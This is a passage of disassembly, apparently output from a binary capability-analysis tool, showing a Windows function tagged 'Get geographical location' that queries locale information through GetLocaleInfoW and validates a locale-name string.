call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400475d8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14003b190
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140047679
cmp ebx, dword [rsp + 0x30]
je 0x140047672
test esi, esi
je 0x140047672
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14004764d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14004765a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140047637
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14004765e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14004767b
mov eax, 1
jmp 0x14004767b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret